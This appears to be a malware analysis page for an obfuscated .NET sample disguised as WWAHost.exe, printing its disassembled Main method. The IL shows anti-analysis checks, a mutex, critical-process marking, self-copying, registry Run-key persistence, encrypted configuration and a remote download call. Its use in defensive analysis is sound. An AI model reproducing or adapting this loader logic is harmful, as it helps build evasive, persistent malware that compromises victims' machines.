Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
High
1 malicious · 7 files
EXE5f65cf9c13960df707eb8e4d30f4fe07
Structure
Name Value
Module Name
WWAHost.exe
Full Name
WWAHost.exe
EntryPoint
System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::Main()
Scope Name
WWAHost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
WWAHost
Assembly Version
10.0.26100.5074
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
20
Main Method
System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::Main()
Main IL Instruction Count
399
Main IL 
br IL_0007: ldc.i4 8
pop <null>
ldc.i4.0 <null>
ldc.i4 8
br IL_05EE: stloc V_17
ldsfld System.Int32 Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‰ŽŠ†Š‘ŒŒ“”“‹Š”Žˆ•ŽŠ‰•†‰†ˆ“‘
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brfalse IL_0466: pop
pop <null>
ldc.i4 6
stloc V_17
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_05F2: ldloc V_17
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 15
br IL_05EE: stloc V_17
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4 18
br IL_05EE: stloc V_17
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Join()
ldc.i4 19
stloc V_17
br IL_05F2: ldloc V_17
call System.Void Internal.“Š‘ŒŒ‘Ž‰’Š’Ž“‰‡ˆ“Š‡Š‡”“Œ•””’‹•::CriticalProcess_Enable()
ldc.i4 0
br IL_05EE: stloc V_17
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldc.i4 9
stloc V_17
ldc.i4.0 <null>
brfalse IL_05F2: ldloc V_17
ldloc.0 <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_13
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.1 <null>
ldelem.ref <null>
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::Ž“‰Ž”ˆ‘‡‡Š““‡•‹ŠŽŠŽ‘‘‰Ž‰“ˆŒ’‡†‘
ldc.i4 4
br IL_05EE: stloc V_17
ldc.i4 0
call System.Boolean Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::m8I10DkWM(System.Int32)
brfalse IL_06BB: ret
ldc.i4 17
br IL_05F6: switch(IL_0054,IL_067B,IL_0475,IL_0070,IL_05DF,IL_0461,IL_0475,IL_00A8,IL_00CF,IL_0447,IL_00E8,IL_0694,IL_0044,IL_0093,IL_0413,IL_0437,IL_0084,IL_0011,IL_065A,IL_06BB)
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldc.i4 1
stloc V_15
br IL_0185: ldloc V_15
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 2
stloc V_15
br IL_0185: ldloc V_15
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue IL_016C: ldloc.1
ldc.i4 5
br IL_0189: switch(IL_016C,IL_011D,IL_0138,IL_01DA,IL_01E2,IL_0151,IL_01DA,IL_0108,IL_01F2)
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4 8
stloc V_15
ldc.i4.1 <null>
brtrue IL_0185: ldloc V_15
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4 0
stloc V_15
br IL_0185: ldloc V_15
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_0138: ldc.i4 1000
br IL_01B2: call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
ldc.i4 1
stloc V_15
ldloc V_15
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brfalse IL_01E7: pop
pop <null>
ldc.i4 6
stloc V_15
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_01DA: ldloc.1
br IL_0185: ldloc V_15
ldloc.1 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
br IL_0108: ldloc.s V_6
pop <null>
ldc.i4 7
br IL_0181: stloc V_15
ldloc.1 <null>
ldsfld System.Object Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::Œ‰‘‰ŠŒ‡’‘‹†Œ‰ˆŒŠŽ‘’‰•ˆ‘‰•“†‹†‹
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave IL_0219: ldc.i4 48
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_0219: ldc.i4 48
ldc.i4 48
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_0373: pop
pop <null>
ldc.i4 3
br IL_02A9: switch(IL_0366,IL_036E,IL_037E,IL_0366,IL_0244,IL_02DD,IL_033F,IL_039A)
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 52
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.1 <null>
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_12
ldc.i4.2 <null>
ldc.i4 56
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_12
ldc.i4.4 <null>
ldc.i4 60
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br IL_02DD: br IL_037E
ldc.i4 3
stloc V_16
ldloc V_16
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 5
stloc V_16
ldc.i4.1 <null>
brtrue IL_02A5: ldloc V_16
br IL_037E: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 64
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.1 <null>
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_12
ldc.i4.2 <null>
ldc.i4 56
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
ldc.i4.3 <null>
ldloc.1 <null>
stelem.ref <null>
ldloc.s V_12
ldc.i4.4 <null>
ldc.i4 60
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
stelem.ref <null>
ldloc.s V_12
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldc.i4 2
br IL_02A1: stloc V_16
call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse IL_02E2: ldloc.s V_9
ldc.i4 4
stloc V_16
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_0244: ldloc.s V_9
br IL_02A5: ldloc V_16
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
br IL_033F: call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
pop <null>
ldc.i4 6
br IL_02A9: switch(IL_0366,IL_036E,IL_037E,IL_0366,IL_0244,IL_02DD,IL_033F,IL_039A)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldc.i4 7
stloc V_16
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_02A5: ldloc V_16
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave IL_03B8: call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_03B8: call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
call Internal.••††‰Ž‘”‹‰‡‹“Ž‘Š•’Œ’“‰’•”’‡”Ž Internal.’“‡ˆ”’“Š††Š’”Š•†‰†ˆ‰•††‡‡†Œ‘::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldc.i4 68
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.1 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave IL_03FE: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_03FE: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
call System.String Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::DownloadStr(System.String)
stloc.0 <null>
ldc.i4 11
br IL_05F6: switch(IL_0054,IL_067B,IL_0475,IL_0070,IL_05DF,IL_0461,IL_0475,IL_00A8,IL_00CF,IL_0447,IL_00E8,IL_0694,IL_0044,IL_0093,IL_0413,IL_0437,IL_0084,IL_0011,IL_065A,IL_06BB)
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 1
stloc V_17
br IL_05F2: ldloc V_17
ldloc.3 <null>
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 3
br IL_05EE: stloc V_17
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 44
call System.String Internal.‡ˆ’ŠŽ”‹‡‘†•‰’‡’’‰’•Œ‡†•‡•†•Œ•::HlXZRyMja(System.Int32)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.1 <null>
br IL_00E8: ldloc.1
pop <null>
ldc.i4 10
stloc V_17
br IL_05F2: ldloc V_17
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽŽŒ•‘’ˆ’ŽŒ“ŠŒ“Š’‰”Š”‰‹’’‡
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽŽŒ•‘’ˆ’ŽŒ“ŠŒ“Š’‰”Š”‰‹’’‡
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
brtrue IL_04C5: pop
pop <null>
ldc.i4 2
stloc V_14
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::“‡‘Ž‹•‘’‡Ž‡•‘†’”†ŒŒ‡”‘‹Š”•”Ž“
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::“‡‘Ž‹•‘’‡Ž‡•‘†’”†ŒŒ‡”‘‹Š”•”Ž“
br IL_04FB: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
pop <null>
ldc.i4 4
stloc V_14
br IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 7
stloc V_14
br IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::ŽˆŠ‰•‡‹ˆ“‹‰ŽŠ‘‹’‰’Ž•”ŠŽ”’‘’Š†‡“’
ldc.i4 6
stloc V_14
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_0562: ldloc V_14
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldc.i4 5
br IL_0566: switch(IL_04AC,IL_04C0,IL_04AC,IL_0522,IL_04FB,IL_04D4,IL_0540,IL_0595)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‹‰’’‰Š’†Œ•‹Š“†“‡Œ’‡“Šˆ’‘’“ˆ†
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‹‰’’‰Š’†Œ•‹Š“†“‡Œ’‡“Šˆ’‘’“ˆ†
br IL_0522: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::•‰’•‘’”ˆŽ‹’‹‹Ž“’•ˆ†’ˆ“†Œ‘”’
ldc.i4 2
stloc V_14
ldloc V_14
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 3
br IL_0566: switch(IL_04AC,IL_04C0,IL_04AC,IL_0522,IL_04FB,IL_04D4,IL_0540,IL_0595)
ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
call System.Object Internal.”“ˆ“’”Š‰‰”Ž‘Ž‹‡ŽŠ’Š†‹“‡::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::““Ž‰‹‰‹‰••Ž‘‘”•“Œ’‹”‰”ŒŠ“‹ŒŽ
leave IL_05C6: call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave IL_05C6: call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
call System.Boolean Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::CreateMutex()
brtrue IL_0447: ldsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::‰ˆ‘‹’Š‘†’‹”Œ•““‰•‰‹”Š””’”‡Ž
ldc.i4 13
stloc V_17
ldc.i4.1 <null>
brtrue IL_05F2: ldloc V_17
call System.Void Internal.†‘†‘‰“Ž‘†ˆŠ“’‰‰•Œ‰‹‘‘•ˆˆ““‹‰”Š::PreventSleep()
br IL_0413: ldnull
ldc.i4 8
stloc V_17
ldloc V_17
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 14
stloc V_17
ldc.i4.1 <null>
brtrue IL_05F2: ldloc V_17
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.3 <null>
ldc.i4 12
stloc V_17
ldc.i4.0 <null>
brfalse IL_05F2: ldloc V_17
call System.String Internal.“Š“ŠŽ‹†“‰ˆ”’’ŠŒ’“•ˆ’‡‡”Œ“••ŠŠ†::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse IL_0054: ldnull
ldc.i4 16
br IL_05EE: stloc V_17
ldloc.0 <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_13
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.Object Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::’†Œˆ‰‘ˆŠ†‹‘‹‘‡ŽŒ‰•ŠŽŒ‡ˆŽ‹Š‡‘‹”
ldc.i4 7
br IL_05EE: stloc V_17
ret <null>
Module Name
WWAHost.exe
Full Name
WWAHost.exe
EntryPoint
System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::Main()
Scope Name
WWAHost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
WWAHost
Assembly Version
10.0.26100.5074
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.0
Total Strings
20
Main Method
System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::Main()
Main IL Instruction Count
399
Main IL 
br IL_0007: ldc.i4 8
pop <null>
ldc.i4.0 <null>
ldc.i4 8
br IL_05EE: stloc V_17
ldsfld System.Int32 Internal.ˆ†Ž”ŠˆŽ‘‰‡Š’’•‘“‹•ŒŠŠ‰’••‘•”‘Ž::†‰ŽŠ†Š‘ŒŒ“”“‹Š”Žˆ•ŽŠ‰•†‰†ˆ“‘
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::’‰•”Š‹‰Ž‡Œ†ŽŽ”‰†‡Š””•Ž‡‘‰‰•‘‘()
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brfalse IL_0466: pop
pop <null>
ldc.i4 6
stloc V_17
call System.Boolean Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::‰‰‰’•’‡‹”‹Š”‹‰‘Š‘“Ž‹“•‘‰†‹’()
brtrue IL_05F2: ldloc V_17
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldc.i4 15
br IL_05EE: stloc V_17
ldnull <null>
ldftn System.Void Internal.’ˆˆ””•“ˆ‹“Š•†‰Ž‘”ŽŒˆ‹““†Š‡‘ˆ†::_Lambda$__2()
